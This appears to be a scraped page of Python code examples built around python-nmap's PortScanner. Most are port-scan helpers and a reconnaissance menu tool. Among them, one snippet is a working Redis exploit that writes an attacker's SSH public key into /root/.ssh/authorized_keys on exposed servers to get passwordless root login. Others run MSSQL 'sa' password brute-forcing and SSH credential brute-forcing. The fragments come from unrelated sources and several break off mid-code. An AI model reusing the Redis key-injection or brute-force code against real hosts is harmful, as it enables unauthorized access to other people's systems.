def nmapScan(tgtHost,
             tgtPort):  # Create the function, this fucntion does the scanning
    nmScan = nmap.PortScanner()
    nmScan.scan(tgtHost, tgtPort)
    state = nmScan[tgtHost]['tcp'][int(tgtPort)]['state']
    print "[*] " + tgtHost + " tcp/" + tgtPort + " " + state
Esempio n. 16
0
def fun():
    choice = ("1")
    banner()

    while choice != ("12"):
        menu()
        choice = input(
            "\033[1;34m[+]\033[1;m \033[1;91mEnter your choice:\033[1;m ")

        if choice == ("1"):
            try:
                target = input(
                    "\033[1;91mEnter Domain or IP Address: \033[1;m").lower()
                os.system("reset")
                print("\033[34mSearching for... Whois Lookup: \033[0m".format(
                    target) + target)
                time.sleep(1.5)
                command = ("whois " + target)
                proces = os.popen(command)
                results = str(proces.read())
                print("\033[1;34m" + results + command + "\033[1;m")

            except Exception:
                pass

        elif choice == ("2"):
            try:
                target = input(
                    "\033[1;91mEnter Domain or IP Address: \033[1;m").lower()
                os.system("reset")
                print("\033[34mSearching for... DNS Lookup: \033[0m".format(
                    target) + target)
                time.sleep(1.5)
                command = ("dig " + target + " +trace ANY")
                proces = os.popen(command)
                results = str(proces.read())
                print("\033[1;34m" + results + command + "\033[1;m")

            except Exception:
                pass

        elif choice == ("3"):
            try:
                os.system("reset")
                os.system(
                    "gnome-terminal -e 'bash -c \"sudo etherape; exec bash\"'")

            except Exception:
                pass

        elif choice == ("4"):
            try:
                target = input(
                    "\033[1;91mEnter Domain or IP Address: \033[1;m").lower()
                os.system("reset")
                print("\033[34mScanning.... Nmap Port Scan: \033[0m" + target)
                print("This will take a moment.\n")
                time.sleep(1.5)

                scanner = nmap.PortScanner()
                command = ("nmap -Pn " + target)
                process = os.popen(command)
                results = str(process.read())
                logPath = "logs/nmap-" + strftime("%Y-%m-%d_%H:%M:%S",
                                                  gmtime())

                print("\033[34m" + results + command + logPath + "\033[0m")
                print("\033[34mNmap Version: \033[0m", scanner.nmap_version())

            except KeyboardInterrupt:
                print("\n")
                print("[-] User Interruption Detected..!")
                time.sleep(1)

        elif choice == ("5"):
            try:
                target = input(
                    "\033[1;91mEnter Domain or IP Address: \033[1;m").lower()
                os.system("reset")
                print("\033[34mScanning.... HTTP Header Grabber: \033[0m\n" +
                      target)
                time.sleep(1.5)
                command = ("http -v " + target)
                proces = os.popen(command)
                results = str(proces.read())
                print("\033[1;34m" + results + command + "\033[1;m")

            except Exception:
                pass

        elif choice == ("6"):
            target = input(
                "\033[1;91mEnter the Domain to test: \033[1;m").lower()
            os.system("reset")

            if not (target.startswith("http://")
                    or target.startswith("https://")):
                target = "http://" + target
            print("\033[1;34mTesting...  Clickjacking Test: \033[1;m" + target)
            time.sleep(2)
            try:
                resp = requests.get(target)
                headers = resp.headers
                print("\nHeader set are: \n")
                for item, xfr in headers.items():
                    print("\033[1;34m" + item + ":" + xfr + "\033[1;m")

                if "X-Frame-Options" in headers.keys():
                    print(
                        "\n[+] \033[1;34mClick Jacking Header is present\033[1;m"
                    )
                    print(
                        "[+] \033[1;34mYou can't clickjack this site !\033[1;m\n"
                    )
                else:
                    print(
                        "\n[*] \033[1;34mX-Frame-Options-Header is missing ! \033[1;m"
                    )
                    print(
                        "[!] \033[1;34mClickjacking is possible,this site is vulnerable to Clickjacking\033[1;m\n"
                    )

            except Exception as ex:
                print("\033[1;34mException caught: " + str(ex))

        elif choice == ("7"):
            try:
                target = input("\033[1;91mEnter Domain: \033[1;m").lower()
                os.system("reset")
                print("\033[34mScanning.... Robots.txt Scanner: \033[0m\n" +
                      target)
                time.sleep(1.5)

                if not (target.startswith("http://")
                        or target.startswith("https://")):
                    target = "http://" + target
                robot = target + "/robots.txt"

                try:
                    bots = urlopen(robot).read().decode("utf-8")
                    print("\033[34m" + (bots) + "\033[1;m")
                except URLError:
                    print("\033[1;31m[-] Can\'t access to {page}!\033[1;m".
                          format(page=robot))

            except Exception as ex:
                print("\033[1;34mException caught: " + str(ex))

        elif choice == ("8"):
            try:
                target = input("\033[1;91mEnter Domain: \033[1;m").lower()
                os.system("reset")
                print("\033[34mScanning.... Link Grabber: \033[0m\n" + target)
                time.sleep(2)
                if not (target.startswith("http://")
                        or target.startswith("https://")):
                    target = "http://" + target
                deq = deque([target])
                pro = set()

                try:
                    while len(deq):
                        url = deq.popleft()
                        pro.add(url)
                        parts = urlsplit(url)
                        base = "{0.scheme}://{0.netloc}".format(parts)

                        print("[+] Crawling URL " + "\033[34m" + url +
                              "\033[0m")
                        try:
                            response = requests.get(url)
                        except (requests.exceptions.MissingSchema,
                                requests.exceptions.ConnectionError):
                            continue

                        soup = BeautifulSoup(response.text, "lxml")
                        for anchor in soup.find_all("a"):
                            link = anchor.attrs[
                                "href"] if "href" in anchor.attrs else ''
                            if link.startswith("/"):
                                link = base + link
                            if not link in deq and not link in pro:
                                deq.append(link)
                            continue

                except KeyboardInterrupt:
                    print("\n")
                    print("[-] User Interruption Detected..!")
                    time.sleep(1)
                    print(
                        "\n \t\033[34m[!] I like to See Ya, Hacking Anywhere ..!\033[0m\n"
                    )

            except Exception:
                pass

        elif choice == ("9"):
            try:
                target = input(
                    "\033[1;91mEnter Domain or IP Address: \033[1;m").lower()
                url = ("http://ip-api.com/json/")
                response = urllib.request.urlopen(url + target)
                data = response.read()
                jso = json.loads(data)
                os.system("reset")
                print("\033[34mSearching.... IP Location Finder: \033[0m".
                      format(url) + target)
                time.sleep(1.5)

                print("\n [+] \033[34mUrl: " + target + "\033[0m")
                print(" [+] " + "\033[34m" + "IP: " + jso["query"] + "\033[0m")
                print(" [+] " + "\033[34m" + "Status: " + jso["status"] +
                      "\033[0m")
                print(" [+] " + "\033[34m" + "Region: " + jso["regionName"] +
                      "\033[0m")
                print(" [+] " + "\033[34m" + "Country: " + jso["country"] +
                      "\033[0m")
                print(" [+] " + "\033[34m" + "City: " + jso["city"] +
                      "\033[0m")
                print(" [+] " + "\033[34m" + "ISP: " + jso["isp"] + "\033[0m")
                print(" [+] " + "\033[34m" + "Lat & Lon: " + str(jso['lat']) +
                      " & " + str(jso['lon']) + "\033[0m")
                print(" [+] " + "\033[34m" + "Zipcode: " + jso["zip"] +
                      "\033[0m")
                print(" [+] " + "\033[34m" + "TimeZone: " + jso["timezone"] +
                      "\033[0m")
                print(" [+] " + "\033[34m" + "AS: " + jso["as"] + "\033[0m" +
                      "\n")

            except URLError:
                print(
                    "\033[1;31m[-] Please provide a valid IP address!\033[1;m")

        elif choice == ("10"):
            try:
                target = input(
                    "\033[1;91mEnter Domain or IP Address: \033[1;m").lower()
                os.system("reset")
                print("\033[34mSearching for: Traceroute: \033[0m".format(
                    target) + target)
                print("This will take a moment... Get some coffee :)\n")
                time.sleep(5)
                command = ("mtr " + "-4 -rwc 1 " + target)
                proces = os.popen(command)
                results = str(proces.read())
                print("\033[1;34m" + results + command + "\033[1;m")

            except Exception:
                pass

        elif choice == ("11"):
            try:
                target = input("\033[1;91mEnter email: \033[0m")
                os.system("reset")
                print("\033[34mScanning....Have I been pwned: \033[0m\n" +
                      target)
                time.sleep(1.5)
                url = ("https://haveibeenpwned.com/api/v2/breachedaccount/%s" %
                       target)
                response = requests.get(url)

                if response.status_code == 200:
                    response = response.json()
                    le = len(response)

                    for item in range(le):
                        clas = str(response[item]["DataClasses"])
                        clas = re.sub("\[(?:[^\]|]*\|)?([^\]|]*)\]", r"\1",
                                      clas)
                        clas = clas.replace("'", "")

                        print("\n")
                        print("Name:     " + "\033[34m" +
                              str(response[item]["Title"]) + "\033[0m")
                        print("Domain:   " + "\033[34m" +
                              str(response[item]["Domain"]) + "\033[0m")
                        print("Breached: " + "\033[34m" +
                              str(response[item]["BreachDate"]) + "\033[0m")
                        print("Details:  " + "\033[34m" + str(clas) +
                              "\033[0m")
                        print("Verified: " + "\033[34m" +
                              str(response[item]["IsVerified"]) + "\033[0m")
                else:
                    print(" Email NOT Found in Database")

            except Exception:
                print(" \033[1;91mUnable to reach HaveIBeenPwned\033[0m")

        elif choice == ("12"):
            time.sleep(1)
            print(
                "\n\t\033[34mBlue Eye\033[0m DONE... Exiting... \033[34mLike to See Ya Hacking Anywhere ..!\033[0m\n"
            )

        else:
            print("\033[1;31m[-] Invalid option!\033[1;m")
Esempio n. 17
0
def getHostsOnTheSameNetwork():
    portScanner = nmap.PortScanner()

    portScanner.scan('192.168.1.0/24', arguments='-p 22 --open')

    return portScanner.all_hosts()
Esempio n. 18
0
def do_nmap(host_list):
    nm = nmap.PortScanner()
    nm.scan(hosts=host_list, arguments='-Pn -sC -p 1433 -max-hostgroup 3 -open -script ms-sql-brute.nse  -v')
    for host in nm.all_hosts():
        print(Vcolors.RED+str(host)+'\t mssql sa弱口令爆破~'+Vcolors.ENDC)
Esempio n. 19
0
def nmap_scan(tgt_host, tgt_ports):
    nm_scan = nmap.PortScanner()
    for port in tgt_ports:
        nm_scan.scan(tgt_host, port)
        state = nm_scan[tgt_host]['tcp'][int(port)]['state']
        print(f'[*] {tgt_host} tcp/{port} {state}')
Esempio n. 20
0
def nmapScan(tgtHost,tgtPort):
    nmScan = nmap.PortScanner()
    scanResponse = nmScan.scan(tgtHost,tgtPort)
    state = getPortStatus(scanResponse, tgtHost, int(tgtPort))
    print "[*] " + tgtHost + " tcp/" + tgtPort + " " + state
Esempio n. 21
0
def new_scan(queries, destination, confidence, shodan_key, vuln_scan):
    """
    Start new scan with shodan and nmap port scanner

    :param queries: dictionary with shodan queries (dict)
    :param destination: destination write directory (str)
    :param confidence: confidence level (str)
    :param shodan_key: key from shodan API (str)
    :param vuln_scan: enable vulnerabilities scan (bool)

    :return result: list with shodan and nmap results (list)
    :return countries: list with countries (list)
    :return all_vulners: list with CVE vulnerabilities (list)
    :return vendor_vulners: dictionary with cve grouped by vend (dict)
    """
    api = shodan.Shodan(shodan_key)
    nm = nmap.PortScanner()

    result_csv = []
    result = []
    countries = []
    all_vulners = []
    vendor_vulners = {}
    prev_vuln_counter = 0

    for query in queries:

        # Confidence levels:
        # certain > firm > tentative
        # certain = certain
        # firm = certain + firm
        # tentative = certain + firm + tentative (all)

        confidence = confidence.lower()
        if confidence == 'certain':
            if query["confidence"] != confidence:
                print(
                    "{color}[-] {product} ignored: confidence level is not equal ({confidence_query} / {confidence_req}){reset}"
                    .format(color=PASS_VENDOR_BY_CONFIDENCE_COLOR,
                            product=query["product"],
                            confidence_query=query["confidence"],
                            confidence_req=confidence,
                            reset=RESET_COLOR))
                continue
        elif confidence == 'firm':
            if query["confidence"] not in ['certain', 'firm']:
                print(
                    "{color}[-] {product} ignored: confidence level is not equal ({confidence_query} / {confidence_req}){reset}"
                    .format(color=PASS_VENDOR_BY_CONFIDENCE_COLOR,
                            product=query["product"],
                            confidence_query=query["confidence"],
                            confidence_req=confidence,
                            reset=RESET_COLOR))
                continue

        try:
            print("{color}{product} found: {res_count}{reset}".format(
                color=PRODUCT_FOUND_COLOR,
                product=query["product"],
                res_count=api.count(query["query"]).get("total"),
                reset=RESET_COLOR))

            current_result = api.search_cursor(query["query"])

            # Save quantity of vulnerabilities before new query to count it
            if vuln_scan:
                prev_vuln_counter = len(all_vulners)

            # Parse every field from current scanned host
            for result_field in current_result:

                # Check for latitude and longitude
                location = result_field["location"]
                if None in (location["latitude"], location["longitude"]):
                    continue

                # Collect countries for country-chart
                if location["country_name"]:
                    countries.append(location["country_name"])

                # Collect additional host info
                info = str(
                    get_info(nm, query["script"], query["vendor"],
                             result_field))
                parsed_additional_info = delete_build(info)

                # Collect CVEs if vulnerabilities scan is on
                host_vulners = None
                if vuln_scan:
                    host_vulners = host_vulners_scan(
                        api, result_field.get("ip_str"))
                    if host_vulners:
                        add_hostvuln_to_allvuln(host_vulners, all_vulners)
                    if host_vulners and vendor_exist(vuln_scan,
                                                     query["vendor"]):
                        print(
                            '{color}[+] found {count} vulnerabilities for {name} from: {address}{reset}'
                            .format(color=ADD_VULNERABILITIES_COLOR,
                                    count=len(host_vulners),
                                    name=query["vendor"],
                                    address=result_field.get("ip_str"),
                                    reset=RESET_COLOR))
                        vendor_vulners_scan(query["vendor"], vendor_vulners,
                                            host_vulners)

                # Create result array
                add_to_array(
                    result, result_csv, {
                        "product": query["product"],
                        "vendor": query["vendor"],
                        "port": result_field.get("port"),
                        "proto": result_field["_shodan"]["module"],
                        "ip": result_field.get("ip_str"),
                        "lat": result_field["location"]["latitude"],
                        "lng": result_field["location"]["longitude"],
                        "country": location["country_name"],
                        "vulnerabilities": host_vulners,
                        "additional_info": parsed_additional_info
                    })

            # Calculate vulnerabilities quantity after new query
            if vuln_scan:
                print(
                    "{color}[!] vulnerabilities found: {count}{reset}".format(
                        color=ADD_VULNERABILITIES_COLOR,
                        count=(len(all_vulners) - prev_vuln_counter),
                        reset=RESET_COLOR))

        except shodan.exception.APIError as rate_limit_err:
            print("{color}Request limit error: {error_info}{reset}".format(
                color=ERROR_COLOR,
                error_info=rate_limit_err,
                reset=RESET_COLOR))
            # Default timer = 30 sec.
            time.sleep(REQUEST_LIMIT_SLEEP_TIME)
        except Exception as unknown_error:
            print("{color}Error: {error_info}{reset}".format(
                color=ERROR_COLOR, error_info=unknown_error,
                reset=RESET_COLOR))
            if not result:
                break

    print("{color}Final result (unique hosts): {result_count}{reset}".format(
        color=ADD_VULNERABILITIES_COLOR,
        result_count=len(result),
        reset=RESET_COLOR))
    print(
        "{color}Final result (unique pairs host and port): {unique_count}{reset}"
        .format(color=ADD_VULNERABILITIES_COLOR,
                unique_count=len(result_csv),
                reset=RESET_COLOR))

    write_result_to_file_json(result, destination, RESULT_JSON_FILE)
    write_result_to_file_csv(result_csv, destination)

    return result, countries, all_vulners, vendor_vulners
Esempio n. 22
0
 def __init__(self):
     self.nm = nmap.PortScanner()
Esempio n. 23
0
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# luoye callyer
# 输入单ip或者ip段,ip段输入:192.168.1.1-254 (符合nmap的方式)
import re
import nmap
import redis
nm = nmap.PortScanner(nmap_search_path=('nmap', r'D:\Nmap\nmap.exe'))


#调用 redis模块通过config写入公钥
def crack_redis(ipaddress):
    try:
        target_redis = redis.Redis(host=ipaddress, port=6379)
        target_redis.config_set("dir", "/root/.ssh")
        target_redis.config_set("dbfilename", "authorized_keys")
        target_redis.set(
            "poc",
            "nnnssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCaZljNkr2tNCzl6c5bnS6W8ayiFvujmnTumllvIMMvjPxgc777JJUEArFaRjebW6xzbXM+p55huAmzBMiAooj5e2ROLotF4R3pW+6ETVSXaLYtMiSPxN0gKICu+bgAACa8ZZN9jyQ7k6//34Vci1w4Gbolcxmtt8K8mGp7Gk+fRAkawbrXrX6BZATph5yJOmv91ruHs1V5Y0hZ87+ZyYTrsPOpTYWbcnoxna1wMV1AXOLDA4Svdgq8598lwekgBcEvmVnmYwRwAmvYgtRg6rQUsHlnxYqqqWPvma1N8tnDmU16I63oo+KZAJs7NcJTr4ilRGWmuSQzmj7vOG4Va53FzTci3o1O35KFPoHuS1AESHiCCv/lGCb8J36ZrGDakWGrt5acTSqJYLjr15JaqhlOTJkQKfNkOIKFF13u5oGUd9causyyNTdPm4is0a/c+uNme7YiCbJfJrB3RM0xasfEnOBGS2Hk4k8xPOhZuvgUibar86wCmSNmO+GYrpKHwKs= root@kalinnn"
        )
        target_redis.save()
        print("%s 测试完成,你现在可以免密登录" % ipaddress)
    except:
        print("%s 6379 port is open,but Permission denied" % ipaddress)


# 调用nmap返回结果
def scan_check(address):
    check_result = nm.scan(address, '6379', '-sV')
    scan_result = []
    for ip in check_result["scan"]:
Esempio n. 24
0
def nmapScan(tgtHost, tgtPort):
    nm = nmap.PortScanner(nmap_search_path=('nmap', '/usr/bin/nmap', '/usr/local/bin/nmap', '/sw/bin/nmap', '/opt/local/bin/nmap', '/home/vliq/anaconda3/lib/python3.6/site-packages/nmap'))
    nmScan=scan(tgtHost, tgtPort)
    state=nmScan[tgtHost]['tcp'][int(tgtPort)]['state']
    print('[*] {} tcp/ {} {}'.format(tgtHost, tgtPort, state))
Esempio n. 25
0
def nmapScan(tgtHost,tgtPort):
    nmScan = nmap.PortScanner()
    nmScan.scan(tgtHost,tgtPort)
    state = nmScan[tgtHost]['tcp'][int(tgtPort)]['state']
    print(' [*] ' + tgtHost + 'tcp/' + tgtPort + ' ' + state )
Esempio n. 26
0
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program.  If not, see <http://www.gnu.org/licenses/>.

"""
import sys
import os

import nmap  # import nmap.py module
try:
    nm = nmap.PortScanner()  # instantiate nmap.PortScanner object
except nmap.PortScannerError:
    print('Nmap not found', sys.exc_info()[0])
    sys.exit(1)
except:
    print("Unexpected error:", sys.exc_info()[0])
    sys.exit(1)

nm.scan('127.0.0.1', '22-443')  # scan host 127.0.0.1, ports from 22 to 443
nm.command_line(
)  # get command line used for the scan : nmap -oX - -p 22-443 127.0.0.1
nm.scaninfo(
)  # get nmap scan informations {'tcp': {'services': '22-443', 'method': 'connect'}}
nm.all_hosts()  # get all hosts that were scanned
nm['127.0.0.1'].hostname()  # get hostname for host 127.0.0.1
nm['127.0.0.1'].state(
Esempio n. 27
0
def nmapScan(tgtHost, tgtPort):
    nmScan = nmap.PortScanner()
    nmScan.scan(tgtHost, tgtPort)
    state=nmScan[tgtHost]['tcp'][int(tgtPort)]['state']
    print(" [*] " + tgtHost + " tcp/" + tgtPort + " " + state)
Esempio n. 28
0
# Execute:
#		python nmap_Test.py

import nmap
nmap1 = nmap.PortScanner()

a = nmap1.nmap_version()

print(a)
Esempio n. 29
0
#!/usr/bin/env python3

from main import Main
import nmap

if __name__ == "__main__":
    hammer = Main()
    nmScan = nmap.PortScanner()
    nmScan.scan(hammer.args.ip, str(hammer.args.port))
    #print(nmScan[str(hammer.args.ip)]['tcp'][hammer.args.port]['state'])
    #print(nmScan['192.168.1.110']['tcp'][445]['state'])
    if nmScan[str(hammer.args.ip)]['tcp'][hammer.args.port]['state'] == 'open':
        print(f'The port {hammer.args.port} is open')
    hammer.run(hammer.args.brute)
    #print(hammer.args.ip, hammer.args.port, hammer.args.user, hammer.args.passwd_file)
def nmap_scan(tgt_host, tgt_port):
    nmscan = nmap.PortScanner()
    nmscan.scan(tgt_host, tgt_port)
    state = nmscan[tgt_host]['tcp'][int(tgt_port)]['state']
    print("[+] " + tgt_host + " tcp/" + tgt_port + " " + state)